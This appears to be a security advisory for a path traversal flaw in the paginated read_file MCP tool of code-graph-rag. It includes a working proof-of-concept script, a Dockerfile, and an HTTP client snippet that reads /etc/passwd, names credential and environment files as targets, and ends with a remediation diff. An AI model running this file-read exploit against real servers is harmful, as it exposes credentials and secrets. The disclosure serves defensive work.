The read_file MCP tool in codebase_rag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.project_root) / file_path without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.
Vulnerable location: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)
The read_file MCP tool accepts three parameters: file_path, offset, and limit. When either offset or limit is present the handler takes a distinct code path:
# codebase_rag/mcp/tools.py:556-565
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK
Because pathlib.Path.__truediv__ replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes full_path to point outside the project root.
The non-paginated branch is protected by the @validate_project_path decorator (applied via codebase_rag/tools/file_reader.py:27) which performs .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.
Full data-flow (source → sink):
codebase_rag/config.py:302 — HTTP MCP default host is 0.0.0.0.codebase_rag/cli.py:717 — CLI exposes mcp-server.codebase_rag/cli.py:726–731 — --transport http invokes serve_http(host=resolved_host, port=resolved_port).codebase_rag/mcp/server.py:208–210 — Starlette mounts the MCP HTTP endpoint.codebase_rag/mcp/tools.py:227–249 — read_file is registered as an MCP tool accepting attacker-controlled file_path, offset, and limit.codebase_rag/mcp/server.py:113–127 — call_tool dispatches JSON arguments directly to the handler via await handler(**arguments).codebase_rag/mcp/tools.py:561–565 — paginated branch builds full_path and calls open(full_path) without any boundary check.The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.
Prerequisites:
vuln-001/ artifacts present (Dockerfile, poc.py).Build and run:
# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc
The Dockerfile installs the codebase_rag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.
What the PoC does (poc.py):
mgclient / pymgclient native C extensions (Memgraph client) so the package imports without a live database.MCPToolsRegistry via object.__new__(), setting only self.project_root = "/tmp/safe-project-root" — matching what the real server does.Path("/tmp/safe-project-root") / "/etc/hosts" resolves to Path("/etc/hosts").registry.read_file("/etc/hosts", offset=0, limit=5) — the actual vulnerable method from the installed package./etc/hosts content is returned, confirming full boundary bypass.Expected output:
[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal
Equivalent HTTP transport attack (when server is running):
python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"read_file",
{"file_path": "/etc/passwd", "offset": 0, "limit": 10},
)
print(result.content[0].text)
anyio.run(main)
PY
Remediation:
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
- full_path = Path(self.project_root) / file_path
+ project_root = Path(self.project_root).resolve()
+ try:
+ full_path = (project_root / file_path).resolve()
+ full_path.relative_to(project_root)
+ except (ValueError, RuntimeError):
+ return te.ERROR_WRAPPER.format(
+ message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+ )
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f:
This is a path traversal / arbitrary file read vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.
An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running cgr mcp-server. Exploitable targets include:
/etc/passwd, /etc/shadow — credential disclosure..env files, or private keys stored anywhere on the host./proc/self/environ for environment variable leakage).The vulnerability is particularly severe because the HTTP transport binds to 0.0.0.0:8080 by default (codebase_rag/config.py:302), exposing the server to the network without any authentication requirement in the default configuration.
DockerfileFROM python:3.12-slim
# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the vulnerable repository source
COPY repo/ /app/repo/
# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
pip install --quiet \
loguru \
"mcp>=1.25.0" \
"pydantic-ai>=1.102.0" \
"pydantic-settings>=2.12.0" \
"python-dotenv>=1.2.1" \
"tiktoken>=0.12.0" \
"toml>=0.10.2" \
"tree-sitter==0.25.2" \
"tree-sitter-python>=0.25.0" \
"watchdog>=6.0.0" \
"typer>=0.21.1" \
"rich>=14.2.0" \
"prompt-toolkit>=3.0.52" \
"diff-match-patch>=20241021" \
"click>=8.3.1" \
"protobuf>=6.33.5" \
"defusedxml>=0.7.1" \
"huggingface-hub>=1.7.2" \
"pathspec>=1.0.4" \
"griffe>=1.0,<2" \
httpx \
anyio
# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/
# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
echo "# This is a safe project file" > /tmp/safe-project-root/README.md
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)
Vulnerable code location:
codebase_rag/mcp/tools.py lines 561-565 (MCPToolsRegistry.read_file)
Root cause:
When 'offset' or 'limit' is provided, the method builds the path as:
full_path = Path(self.project_root) / file_path # line 562
Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
The non-paginated branch is protected by @validate_project_path, but this branch
has no such guard, so any absolute path is opened unconditionally.
Attack path (HTTP transport):
MCP client -> POST /mcp -> call_tool("read_file", {"file_path": "/etc/hosts",
"offset": 0, "limit": 5})
-> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
-> full_path = Path("/safe/root") / "/etc/hosts" ==> Path("/etc/hosts")
-> open("/etc/hosts") # no boundary check, file content returned
This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package. The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path. The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""
import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock
# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client). It is imported at the top of
# codebase_rag/services/graph_service.py. Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
print(f"[!] Import failed: {exc}")
sys.exit(2)
print("[+] Import successful\n")
# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"
registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT
print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()
# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"
joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f" Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f" => {joined}")
print(f" Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")
assert str(joined) == ATTACK_PATH, (
f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")
# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path = {joined}")
print()
async def run_poc() -> str:
return await registry.read_file(ATTACK_PATH, offset=0, limit=5)
result = asyncio.run(run_poc())
print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()
# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
actual_hosts = fh.read()
# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
"Lines " in result # pagination header present
or "127.0.0.1" in result # standard loopback entry
or "localhost" in result # standard hostname entry
or "::1" in result # IPv6 loopback
or any(
line.strip() in result
for line in actual_hosts.splitlines()
if line.strip() and not line.startswith("#")
)
)
if confirmed:
print("[+] EXPLOIT SUCCESSFUL")
print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
print()
print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
sys.exit(0)
else:
print("[-] Validation failed -- could not find /etc/hosts content in result")
print(f"[-] Returned value: {result!r}")
sys.exit(1)
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T21:21:32Z",
"nvd_published_at": "2026-11-05T20:18:00Z",
"severity": "HIGH"
}